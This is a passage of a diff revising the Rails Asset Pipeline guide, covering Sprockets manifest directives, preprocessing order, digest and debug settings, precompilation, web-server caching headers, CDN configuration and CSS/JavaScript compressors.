`require_tree` directives. The `require` +directive is used to tell Sprockets the files you wish to require. Here, you are +requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere +in the search path for Sprockets. You need not supply the extensions explicitly. +Sprockets assumes you are requiring a `.js` file when done from within a `.js` +file. + +The `require_tree` directive tells Sprockets to recursively include _all_ +JavaScript files in the specified directory into the output. These paths must be +specified relative to the manifest file. You can also use the +`require_directory` directive which includes all JavaScript files only in the +directory specified, without recursion. + +Directives are processed top to bottom, but the order in which files are +included by `require_tree` is unspecified. You should not rely on any particular +order among those. If you need to ensure some particular JavaScript ends up +above some other in the concatenated file, require the prerequisite file first +in the manifest. Note that the family of `require` directives prevents files +from being included twice in the output. + +Rails also creates a default `app/assets/stylesheets/application.css` file +which contains these lines: -```js +```css /* ... *= require_self *= require_tree . */ ``` -The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. +Rails 4 creates both `app/assets/javascripts/application.js` and +`app/assets/stylesheets/application.css` regardless of whether the +--skip-sprockets option is used when creating a new rails application. This is +so you can easily add asset pipelining later if you like. + +The directives that work in JavaScript files also work in stylesheets +(though obviously including stylesheets rather than JavaScript files). The +`require_tree` directive in a CSS manifest works the same way as the JavaScript +one, requiring all stylesheets from the current directory. + +In this example, `require_self` is used. This puts the CSS contained within the +file (if any) at the precise location of the `require_self` call. -In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected. +NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) +instead of these Sprockets directives. When using Sprockets directives, Sass files exist within +their own scope, making variables or mixins only available within the document they were defined in. -NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. +You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats. -You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application. +You can have as many manifest files as you need. For example, the `admin.css` +and `admin.js` manifest could contain the JS and CSS files that are used for the +admin section of an application. -The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way: +The same remarks about ordering made above apply. In particular, you can specify +individual files and they are compiled in the order specified. For example, you +might concatenate three CSS files together this way: ```js /* ... @@ -314,21 +519,41 @@ The same remarks about ordering made above apply. In particular, you can specify */ ``` - ### Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file. - -When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively. - -Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript. +The file extensions used on an asset determine what preprocessing is applied. +When a controller or a scaffold is generated with the default Rails gemset, a +CoffeeScript file and a SCSS file are generated in place of a regular JavaScript +and CSS file. The example used before was a controller called "projects", which +generated an `app/assets/javascripts/projects.coffee` and an +`app/assets/stylesheets/projects.scss` file. + +In development mode, or if the asset pipeline is disabled, when these files are +requested they are processed by the processors provided by the `coffee-script` +and `sass` gems and then sent back to the browser as JavaScript and CSS +respectively. When asset pipelining is enabled, these files are preprocessed and +placed in the `public/assets` directory for serving by either the Rails app or +web server. + +Additional layers of preprocessing can be requested by adding other extensions, +where each extension is processed in a right-to-left manner. These should be +used in the order the processing should be applied. For example, a stylesheet +called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB, +then SCSS, and finally served as CSS. The same applies to a JavaScript file - +`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then +CoffeeScript, and served as JavaScript. + +Keep in mind the order of these preprocessors is important. For example, if +you called your JavaScript file `app/assets/javascripts/projects.erb.coffee` +then it would be processed with the CoffeeScript interpreter first, which +wouldn't understand ERB and therefore you would run into problems. -Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. In Development -------------- -In development mode, assets are served as separate files in the order they are specified in the manifest file. +In development mode, assets are served as separate files in the order they are +specified in the manifest file. This manifest `app/assets/javascripts/application.js`: @@ -348,41 +573,79 @@ would generate this HTML: The `body` param is required by Sprockets. +### Runtime Error Checking + +By default the asset pipeline will check for potential errors in development mode during +runtime. To disable this behavior you can set: + +```ruby +config.assets.raise_runtime_errors = false +``` + +When this option is true, the asset pipeline will check if all the assets loaded +in your application are included in the `config.assets.precompile` list. +If `config.assets.digest` is also true, the asset pipeline will require that +all requests for assets include digests. + +### Turning Digests Off + +You can turn off digests by updating `config/environments/development.rb` to +include: + +```ruby +config.assets.digest = false +``` + +When this option is true, digests will be generated for asset URLs. + ### Turning Debugging Off -You can turn off debug mode by updating `config/environments/development.rb` to include: +You can turn off debug mode by updating `config/environments/development.rb` to +include: ```ruby config.assets.debug = false ``` -When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: +When debug mode is off, Sprockets concatenates and runs the necessary +preprocessors on all files. With debug mode turned off the manifest above would +generate instead: ```html <script src="/assets/application.js"></script> ``` -Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response. +Assets are compiled and cached on the first request after the server is started. +Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request +overhead on subsequent requests - on these the browser gets a 304 (Not Modified) +response. -If any of the files in the manifest have changed between requests, the server responds with a new compiled file. +If any of the files in the manifest have changed between requests, the server +responds with a new compiled file. -Debug mode can also be enabled in the Rails helper methods: +Debug mode can also be enabled in Rails helper methods: ```erb -<%= stylesheet_link_tag "application", :debug => true %> -<%= javascript_include_tag "application", :debug => true %> +<%= stylesheet_link_tag "application", debug: true %> +<%= javascript_include_tag "application", debug: true %> ``` -The `:debug` option is redundant if debug mode is on. +The `:debug` option is redundant if debug mode is already on. -You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. +You can also enable compression in development mode as a sanity check, and +disable it on-demand as required for debugging. In Production ------------- -In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server. +In the production environment Sprockets uses the fingerprinting scheme outlined +above. By default Rails assumes assets have been precompiled and will be +served as static assets by your web server. -During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. +During the precompilation phase an MD5 is generated from the contents of the +compiled files, and inserted into the filenames as they are written to disc. +These fingerprinted names are used by the Rails helpers in place of the manifest +name. For example this: @@ -395,124 +658,149 @@ generates something like this: ```html <script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> -<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" /> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" +rel="stylesheet" /> ``` -Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`. +Note: with the Asset Pipeline the :cache and :concat options aren't used +anymore, delete these options from the `javascript_include_tag` and +`stylesheet_link_tag`. +The fingerprinting behavior is controlled by the `config.assets.digest` +initialization option (which defaults to `true` for production and `false` for +everything else). -The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else). - -NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. +NOTE: Under normal circumstances the default `config.assets.digest` option +should not be changed. If there are no digests in the filenames, and far-future +headers are set, remote clients will never know to refetch the files when their +content changes. ### Precompiling Assets -Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. +Rails comes bundled with a rake task to compile the asset manifests and other +files in the pipeline. -Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory. +Compiled assets are written to the location specified in `config.assets.prefix`. +By default, this is the `/assets` directory. -You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally. +You can call this task on the server during deployment to create compiled +versions of your assets directly on the server. See the next section for +information on compiling locally. The rake task is: ```bash -$ bundle exec rake assets:precompile +$ RAILS_ENV=production bin/rake assets:precompile ``` -For faster asset precompiles, you can partially load your application by setting -`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates -cannot see application objects or methods. **Heroku requires this to be false.** - -WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to -test `rake assets:precompile` locally before deploying. It may expose bugs where -your assets reference application objects or methods, since those are still -in scope in development mode regardless of the value of this flag. Changing this flag also affects -engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded, -engines (or other gems) will not be loaded, which can cause missing assets. - -Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`: +Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. +Add the following line to `Capfile`: ```ruby load 'deploy/assets' ``` -This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task. - -It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. +This links the folder specified in `config.assets.prefix` to `shared/assets`. +If you already use this shared folder you'll need to write your own deployment +task. -NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). +It is important that this folder is shared between deployments so that remotely +cached pages referencing the old compiled assets still work for the life of +the cached page. -The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically): +The default matcher for compiling files includes `application.js`, +`application.css` and all non-JS/CSS files (this will include all image assets +automatically) from `app/assets` folders including your gems: ```ruby -[ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ] +[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, +/application.(css|js)$/ ] ``` -NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS. +NOTE: The matcher (and other members of the precompile array; see below) is +applied to final compiled file names. This means anything that compiles to +JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and +`.scss` files are **not** automatically included as they compile to JS/CSS. -If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array: +If you have other manifests or individual stylesheets and JavaScript files to +include, you can add them to the `precompile` array in `config/initializers/assets.rb`: ```ruby -config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] +Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] ``` -Or you can opt to precompile all assets with something like this: +Or, you can opt to precompile all assets with something like this: ```ruby -# config/environments/production.rb -config.assets.precompile << Proc.new { |path| +# config/initializers/assets.rb +Rails.application.config.assets.precompile << Proc.new do |path| if path =~ /\.(css|js)\z/ full_path = Rails.application.assets.resolve(path).to_path app_assets_path = Rails.root.join('app', 'assets').to_path if full_path.starts_with? app_assets_path - puts "including asset: " + full_path + logger.info "including asset: " + full_path true else - puts "excluding asset: " + full_path + logger.info "excluding asset: " + full_path false end else false end -} +end ``` -NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array. +NOTE. Always specify an expected compiled filename that ends with .js or .css, +even if you want to add Sass or CoffeeScript files to the precompile array. -The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: +The rake task also generates a `manifest-md5hash.json` that contains a list with +all your assets and their respective fingerprints. This is used by the Rails +helper methods to avoid handing the mapping requests back to Sprockets. A +typical manifest file looks like: -```yaml ---- -rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png -jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js -jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js -application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js -application.css: application-8af74128f904600e41a6e39241464e03.css +```ruby +{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506, +"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560, +"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591, +"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406, +"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646, +"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"application.js": +"application-723d1be6cc741a3aabb1cec24276d681.js","application.css": +"application-1c5752789588ac18d7e1a50b1f0fd4c2.css", +"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png": +"my_image-231a680f23887d9dd70710ea5efd3c62.png"}} ``` -The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default). +The default location for the manifest is the root of the location specified in +`config.assets.prefix` ('/assets' by default). -NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s). +NOTE: If there are missing precompiled files in production you will get an +`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` +exception indicating the name of the missing file(s). #### Far-future Expires Header -Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. +Precompiled assets exist on the file system and are served directly by your web +server. They do not have far-future headers by default, so to get the benefit of +fingerprinting you'll have to update your server configuration to add those +headers. For Apache: ```apache -# The Expires* directives requires the Apache module `mod_expires` to be enabled. -<LocationMatch "^/assets/.*$"> +# The Expires* directives requires the Apache module +# `mod_expires` to be enabled. +<Location /assets/> # Use of ETag is discouraged when Last-Modified is present Header unset ETag FileETag None # RFC says only cache for 1 year ExpiresActive On ExpiresDefault "access plus 1 year" -</LocationMatch> +</Location> ``` -For nginx: +For NGINX: ```nginx location ~ ^/assets/ { @@ -526,9 +814,15 @@ location ~ ^/assets/ { #### GZip Compression -When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +When files are precompiled, Sprockets also creates a +[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web +servers are typically configured to use a moderate compression ratio as a +compromise, but since precompilation happens once, Sprockets uses the maximum +compression ratio, thus reducing the size of the data transfer to the minimum. +On the other hand, web servers can be configured to serve compressed content +directly from disk, rather than deflating non-compressed files themselves. -Nginx is able to do this automatically enabling `gzip_static`: +NGINX is able to do this automatically enabling `gzip_static`: ```nginx location ~ ^/(assets)/ { @@ -539,30 +833,39 @@ location ~ ^/(assets)/ { } ``` -This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation: +This directive is available if the core module that provides this feature was +compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have +the module compiled. Otherwise, you may need to perform a manual compilation: ```bash ./configure --with-http_gzip_static_module ``` -If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. +If you're compiling NGINX with Phusion Passenger you'll need to pass that option +when prompted. -A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.) +A robust configuration for Apache is possible but tricky; please Google around. +(Or help update this Guide if you have a good configuration example for Apache.) ### Local Precompilation -There are several reasons why you might want to precompile your assets locally. Among them are: +There are several reasons why you might want to precompile your assets locally. +Among them are: * You may not have write access to your production file system. -* You may be deploying to more than one server, and want to avoid the duplication of work. +* You may be deploying to more than one server, and want to avoid +duplication of work. * You may be doing frequent deploys that do not include asset changes. -Local compilation allows you to commit the compiled files into source control, and deploy as normal. +Local compilation allows you to commit the compiled files into source control, +and deploy as normal. -There are two caveats: +There are three caveats: * You must not run the Capistrano deployment task that precompiles assets. -* You must change the following two application configuration settings. +* You must ensure any necessary compressors or minifiers are +available on your development system. +* You must change the following application configuration setting: In `config/environments/development.rb`, place the following line: @@ -570,23 +873,20 @@ In `config/environments/development.rb`, place the following line: config.assets.prefix = "/dev-assets" ``` -You will also need this in application.rb: - -```ruby -config.assets.initialize_on_precompile = false -``` - -The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again. - -The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option. +The `prefix` change makes Sprockets use a different URL for serving assets in +development mode, and pass all requests to Sprockets. The prefix is still set to +`/assets` in the production environment. Without this change, the application +would serve the precompiled assets from `/assets` in development, and you would +not see any local changes until you compile assets again. -You will also need to ensure that any compressors or minifiers are available on your development system. - -In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected. +In practice, this will allow you to precompile locally, have those files in your +working tree, and commit those files to source control when needed. Development +mode will work as expected. ### Live Compilation -In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. +In some circumstances you may wish to use live compilation. In this mode all +requests for assets in the pipeline are handled by Sprockets directly. To enable this option set: @@ -594,13 +894,21 @@ To enable this option set: config.assets.compile = true ``` -On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. +On the first request the assets are compiled and cached as outlined in +development above, and the manifest names used in the helpers are altered to +include the MD5 hash. -Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This +signals all caches between your server and the client browser that this content +(the file served) can be cached for 1 year. The effect of this is to reduce the +number of requests for this asset from your server; the asset has a good chance +of being in the local browser cache or some intermediate cache. -This mode uses more memory, performs more poorly than the default and is not recommended. +This mode uses more memory, performs more poorly than the default and is not +recommended. -If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: +If you are deploying a production application to a system without any +pre-existing JavaScript runtimes, you may want to add one to your Gemfile: ```ruby group :production do @@ -610,36 +918,239 @@ end ### CDNs -If your assets are being served by a CDN, ensure they don't stick around in -your cache forever. This can cause problems. If you use -`config.action_controller.perform_caching = true`, Rack::Cache will use -`Rails.cache` to store assets. This can cause your cache to fill up quickly. +CDN stands for [Content Delivery +Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are +primarily designed to cache assets all over the world so that when a browser +requests the asset, a cached copy will be geographically close to that browser. +If you are serving assets directly from your Rails server in production, the +best practice is to use a CDN in front of your application. + +A common pattern for using a CDN is to set your production application as the +"origin" server. This means when a browser requests an asset from the CDN and +there is a cache miss, it will grab the file from your server on the fly and +then cache it. For example if you are running a Rails application on +`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`, +then when a request is made to `mycdnsubdomain.fictional- +cdn.com/assets/smile.png`, the CDN will query your server once at +`example.com/assets/smile.png` and cache the request. The next request to the +CDN that comes in to the same URL will hit the cached copy. When the CDN can +serve an asset directly the request never touches your Rails server. Since the +assets from a CDN are geographically closer to the browser, the request is +faster, and since your server doesn't need to spend time serving assets, it can +focus on serving application code as fast as possible. + +#### Set up a CDN to Serve Static Assets + +To set up your CDN you have to have your application running in production on +the internet at a publically available URL, for example `example.com`. Next +you'll need to sign up for a CDN service from a cloud hosting provider. When you +do this you need to configure the "origin" of the CDN to point back at your +website `example.com`, check your provider for documentation on configuring the +origin server. + +The CDN you provisioned should give you a custom subdomain for your application +such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a +valid CDN provider at the time of this writing). Now that you have configured +your CDN server, you need to tell browsers to use your CDN to grab assets +instead of your Rails server directly. You can do this by configuring Rails to +set your CDN as the asset host instead of using a relative path. To set your +asset host in Rails, you need to set `config.action_controller.asset_host` in +`config/production.rb`: + +```ruby +config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' +``` + +NOTE: You only need to provide the "host", this is the subdomain and root +domain, you do not need to specify a protocol or "scheme" such as `http://` or +`https://`. When a web page is requested, the protocol in the link to your asset +that is generated will match how the webpage is accessed by default. + +You can also set this value through an [environment +variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a +staging copy of your site easier: + +``` +config.action_controller.asset_host = ENV['CDN_HOST'] +``` + + -Every cache is different, so evaluate how your CDN handles caching and make -sure that it plays nicely with the pipeline. You may find quirks related to -your specific set up, you may not. The defaults nginx uses, for example, -should give you no problems when used as an HTTP cache. +Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain +.fictional-cdn.com` for this to work. + +Once you have configured your server and your CDN when you serve a webpage that +has an asset: + +```erb +<%= asset_path('smile.png') %> +``` + +Instead of returning a path such as `/assets/smile.png` (digests are left out +for readability). The URL generated will have the full path to your CDN. + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +If the CDN has a copy of `smile.png` it will serve it to the browser and your +server doesn't even know it was requested. If the CDN does not have a copy it +will try to find it a the "origin" `example.com/assets/smile.png` and then store +it for future use. + +If you want to serve only some assets from your CDN, you can use custom `:host` +option your asset helper, which overwrites value set in +`config.action_controller.asset_host`. + +```erb +<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> +``` + +#### Customize CDN Caching Behavior + +A CDN works by caching content. If the CDN has stale or bad content, then it is +hurting rather than helping your application. The purpose of this section is to +describe general caching behavior of most CDNs, your specific provider may +behave slightly differently. + +##### CDN Request Caching + +While a CDN is described as being good for caching assets, in reality caches the +entire request. This includes the body of the asset as well as any headers. The +most important one being `Cache-Control` which tells the CDN (and web browsers) +how to cache contents. This means that if someone requests an asset that does +not exist `/assets/i-dont-exist.png` and your Rails application returns a 404, +then your CDN will likely cache the 404 page if a valid `Cache-Control` header +is present. + +##### CDN Header Debugging + +One way to check the headers are cached properly in your CDN is by using [curl]( +http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You +can request the headers from both your server and your CDN to verify they are +the same: + +``` +$ curl -I http://www.example/assets/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK +Server: Cowboy +Date: Sun, 24 Aug 2014 20:27:50 GMT +Connection: keep-alive +Last-Modified: Thu, 08 May 2014 01:24:14 GMT +Content-Type: text/css +Cache-Control: public, max-age=2592000 +Content-Length: 126560 +Via: 1.1 vegur +``` + +Versus the CDN copy. + +``` +$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK Server: Cowboy Last- +Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css +Cache-Control: +public, max-age=2592000 +Via: 1.1 vegur +Content-Length: 126560 +Accept-Ranges: +bytes +Date: Sun, 24 Aug 2014 20:28:45 GMT +Via: 1.1 varnish +Age: 885814 +Connection: keep-alive +X-Served-By: cache-dfw1828-DFW +X-Cache: HIT +X-Cache-Hits: +68 +X-Timer: S1408912125.211638212,VS0,VE0 +``` + +Check your CDN documentation for any additional information they may provide +such as `X-Cache` or for any additional headers they may add. + +##### CDNs and the Cache-Control Header + +The [cache control +header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C +specification that describes how a request can be cached. When no CDN is used, a +browser will use this information to cache contents. This is very helpful for +assets that are not modified so that a browser does not need to re-download a +website's CSS or javascript on every request. Generally we want our Rails server +to tell our CDN (and browser) that the asset is "public", that means any cache +can store the request. Also we commonly want to set `max-age` which is how long +the cache will store the object before invalidating the cache. The `max-age` +value is set to seconds with a maximum possible value of `31536000` which is one +year. You can do this in your rails application by setting + +``` +config.static_cache_control = "public, max-age=31536000" +``` + +Now when your application serves an asset in production, the CDN will store the +asset for up to a year. Since most CDNs also cache headers of the request, this +`Cache-Control` will be passed along to all future browsers seeking this asset, +the browser then knows that it can store this asset for a very long time before +needing to re-request it. + +##### CDNs and URL based Cache Invalidation + +Most CDNs will cache contents of an asset based on the complete URL. This means +that a request to + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png +``` + +Will be a completely different cache from + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +If you want to set far future `max-age` in your `Cache-Control` (and you do), +then make sure when you change your assets that your cache is invalidated. For +example when changing the smiley face in an image from yellow to blue, you want +all visitors of your site to get the new blue face. When using a CDN with the +Rails asset pipeline `config.assets.digest` is set to true by default so that +each asset will have a different file name when it is changed. This way you +don't have to ever manually invalidate any items in your cache. By using a +different unique asset name instead, your users get the latest asset. Customizing the Pipeline ------------------------ ### CSS Compression -There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification. +One of the options for compressing CSS is YUI. The [YUI CSS +compressor](http://yui.github.io/yuicompressor/css.html) provides +minification. -The following line enables YUI compression, and requires the `yui-compressor` gem. +The following line enables YUI compression, and requires the `yui-compressor` +gem. ```ruby config.assets.css_compressor = :yui ``` +The other option for compressing CSS if you have the sass-rails gem installed is -The `config.assets.compress` must be set to `true` to enable CSS compression. +```ruby +config.assets.css_compressor = :sass +``` ### JavaScript Compression -Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively. +Possible options for JavaScript compression are `:closure`, `:uglifier` and +`:yui`. These require the use of the `closure-compiler`, `uglifier` or +`yui-compressor` gems, respectively. -The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible. +The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). +This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for +NodeJS) in Ruby. It compresses your code by removing white space and comments, +shortening local variable names, and performing other micro-optimizations such +as changing `if` and `else` statements to ternary operators where possible. The following line invokes `uglifier` for JavaScript compression. @@ -647,13 +1158,21 @@ The following line invokes `uglifier` for JavaScript compression. config.assets.js_compressor = :uglifier ``` -Note that `config.assets.compress` must be set to `true` to enable JavaScript compression +NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) +supported runtime in order to use `uglifier`. If you are using Mac OS X or +Windows you have a JavaScript runtime installed in your operating system. -NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes. +NOTE: The `config.assets.compress` initialization option is no longer used in +Rails 4 to enable either CSS or JavaScript compression. Setting it will have no +effect on the application. Instead, setting `config.assets.css_compressor` and +`config.assets.js_compressor` will control compression of CSS and JavaScript +assets. ### Using Your Own Compressor -The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any object. +This object must have a `compress` method that takes a string as the sole +argument and it must return a string. ```ruby class Transformer @@ -663,7 +1182,7 @@ class Transformer end ``` -To enable this, pass a `new` object to the config option in `application.rb`: +To enable this, pass a new object to the config option in `application.rb`: ```ruby config.assets.css_compressor = Transformer.new @@ -680,34 +1199,60 @@ This can be changed to something else: config.assets.prefix = "/some_other_path" ``` -This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource. +This is a handy option if you are updating an older project that didn't use the +asset pipeline and already uses this path or you wish to use this path for +a new resource. ### X-Sendfile Headers -The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. +The X-Sendfile header is a directive to the web server to ignore the response +from the 